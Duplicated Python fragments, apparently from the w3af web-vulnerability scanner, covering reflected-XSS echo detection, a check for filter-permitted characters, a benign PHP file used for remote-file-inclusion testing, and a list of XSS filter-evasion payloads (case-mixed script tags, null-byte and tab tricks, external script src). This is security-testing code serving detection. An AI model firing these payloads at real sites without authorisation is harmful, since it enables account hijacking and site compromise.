def _is_echoed( self, mutant ): ''' Verify if the parameter we are fuzzing is really being echoed back in the HTML response or not. If it isn't echoed there is no chance we are going to find a reflected XSS here. Also please note that I send a random alphanumeric value, and not a numeric value, because even if the number is echoed back (and only numbers are echoed back by the application) that won't be of any use in the XSS detection. @parameter mutant: The request to send. @return: True if variable is echoed ''' # Create a random number and assign it to the mutant modified # parameter rndNum = str( createRandAlNum( 5 ) ) oldValue = mutant.getModValue() mutant.setModValue(rndNum) # send response = self._sendMutant( mutant, analyze=False ) # restore the mutant values mutant.setModValue(oldValue) # Analyze and return response if rndNum in response: om.out.debug('The variable ' + mutant.getVar() + ' is being echoed back.' ) return True else: om.out.debug('The variable ' + mutant.getVar() + ' is NOT being echoed back.' ) return False
def _get_allowed_chars(self, mutant): ''' These are the special characters that are tested: ['<', '>', '"', "'", '(', ')'] I'm aware that this doesn't work if the filter also filters by length. The idea of this method is to reduce the amount of tests to be performed, if I start testing each char separately, I loose that performance enhancement that I want to get. @return: A list with the special characters that are allowed by the XSS filter ''' # Create a random number and assign it to the mutant modified parameter rndNum = str( createRandAlNum( 4 ) ) oldValue = mutant.getModValue() joined_list = rndNum.join(self._special_characters) list_delimiter = str( createRandAlNum( 5 ) ) joined_list = list_delimiter + joined_list + list_delimiter mutant.setModValue(joined_list) # send response = self._sendMutant( mutant, analyze=False ) # restore the mutant values mutant.setModValue(oldValue) # Analyze the response allowed = [] if response.getBody().count(list_delimiter) == 2: start = response.getBody().find(list_delimiter) end = response.getBody().find(list_delimiter, start+1) the_list = response.getBody()[start+len(list_delimiter):end] split_list = the_list.split(rndNum) for i, char in enumerate(split_list): if char == self._special_characters[i]: allowed.append(char) else: raise w3afException('The delimiter was not echoed back!') if allowed == self._special_characters: om.out.debug('All special characters are allowed.') return allowed
def _create_file(self): ''' Create random name file php with random php content. To be used in the remote file inclusion test. ''' # First, generate the php file to be included. rand1 = createRandAlNum(9) rand2 = createRandAlNum(9) filename = createRandAlNum() php_code = '<? \n echo "%s";\n echo "%s";\n ?>' % (rand1, rand2) # Write the php to the webroot file_handler = open(os.path.join(get_home_dir(), 'webroot', filename), 'w') file_handler.write(php_code) file_handler.close() # Define the required parameters netloc = self._listen_address +':' + str(self._listen_port) path = '/'+filename self._rfi_url = url_object.from_parts('http', netloc, path, None, None, None) self._rfi_result = rand1 + rand2
def _create_file(self): ''' Create random name file php with random php content. To be used in the remote file inclusion test. ''' # First, generate the php file to be included. rand1 = createRandAlNum(9) rand2 = createRandAlNum(9) filename = createRandAlNum() php_code = '<? \n echo "%s";\n echo "%s";\n ?>' % (rand1, rand2) # Write the php to the webroot file_handler = open(os.path.join(get_home_dir(), 'webroot', filename), 'w') file_handler.write(php_code) file_handler.close() # Define the required parameters netloc = self._listen_address + ':' + str(self._listen_port) path = '/' + filename self._rfi_url = url_object.from_parts('http', netloc, path, None, None, None) self._rfi_result = rand1 + rand2
def _get_xss_tests( self ): ''' Does a select to the DB for a list of XSS strings that will be tested agains the site. @return: A list of tuples with all XSS strings to test and the browsers in which they work. Example: [ ('<>RANDOMIZE', ['Internet Explorer']) ] ''' xss_tests = [] # # TODO: with these xss tests, and the rest of the plugin as it is, w3af has false negatives # in the case in which we're already controlling something that is written inside <script></script> # tags. # # The number 2 is to inject in stored xss and not "letting the user know we are testing # the site". And also please note that I don't have this: alert2('abc'); this "failure" will # let me find XSS in web applications that have magic_quotes enabled and will also # "double" invalidate the JS code, because RANDOMIZE will be replaced by something # like ecd6c00b7 and that will be an undefined variables. # I use SCrIPT instead of script of SCRIPT, just because there are some programmers that # use blacklists that have those words, and they may be doing the comparison with a case # sensitive function (if 'script' in user_input... # if 'SCRIPT' in user_input) xss_tests.append(('<SCrIPT>alert("RANDOMIZE")</SCrIPT>', [browsers.ALL, ])) xss_tests.append(('<a href="blah" onmouseover=alert("RANDOMIZE")>blah</a>', [browsers.ALL, ])) # No quotes, with tag xss_tests.append(("<ScRIPT>a=/RANDOMIZE/\nalert(a.source)</SCRiPT>", [browsers.ALL, ])) xss_tests.append(("<ScRIpT>alert(String.fromCharCode(RANDOMIZE))</SCriPT>", [browsers.ALL, ])) xss_tests.append(("'';!--\"<RANDOMIZE>=&{()}", [browsers.ALL, ])) xss_tests.append(("<ScRIPt SrC=http://RANDOMIZE/x.js></ScRIPt>", [browsers.ALL, ])) xss_tests.append(("<ScRIPt/XSS SrC=http://RANDOMIZE/x.js></ScRIPt>", [browsers.ALL, ])) xss_tests.append(("<ScRIPt/SrC=http://RANDOMIZE/x.js></ScRIPt>", [browsers.INTERNET_EXPLORER_6, browsers.INTERNET_EXPLORER_7, browsers.NETSCAPE_IE, browsers.FIREFOX, browsers.NETSCAPE_G])) # http://secunia.com/advisories/9716/ # ASP.NET bypass xss_tests.append(('<\0SCrIPT>alert("RANDOMIZE")</SCrIPT>', [browsers.INTERNET_EXPLORER_6, browsers.NETSCAPE_IE])) # This one only works in IE xss_tests.append(('<SCR\0IPt>alert("RANDOMIZE")</Sc\0RIPt>', [browsers.INTERNET_EXPLORER_6, browsers.INTERNET_EXPLORER_7, browsers.NETSCAPE_IE])) xss_tests.append(("<IFRAME SRC=\"javascript:alert('RANDOMIZE');\"></IFRAME>", [browsers.ALL, ])) # IE only xss_tests.append(('</A/style="xss:exp/**/ression(alert(\'XSS\'))">', [browsers.INTERNET_EXPLORER_6, browsers.INTERNET_EXPLORER_7])) # Javascript xss_tests.append(('jAvasCript:alert("RANDOMIZE");', [browsers.INTERNET_EXPLORER_6, browsers.NETSCAPE_IE, browsers.OPERA])) xss_tests.append(('javas\tcript:alert("RANDOMIZE");', [browsers.INTERNET_EXPLORER_6, browsers.NETSCAPE_IE, browsers.OPERA])) xss_tests.append(('javas	cript:alert("RANDOMIZE");', [browsers.INTERNET_EXPLORER_6, browsers.NETSCAPE_IE, browsers.OPERA])) xss_tests.append(('javas\0cript:alert("RANDOMIZE");', [browsers.INTERNET_EXPLORER_6, browsers.NETSCAPE_IE])) # I need to identify everything I send to the web app rnd_value = createRandAlNum(4) xss_tests = [ (x[0].replace( "RANDOMIZE", rnd_value ), x[1]) for x in xss_tests ] return xss_tests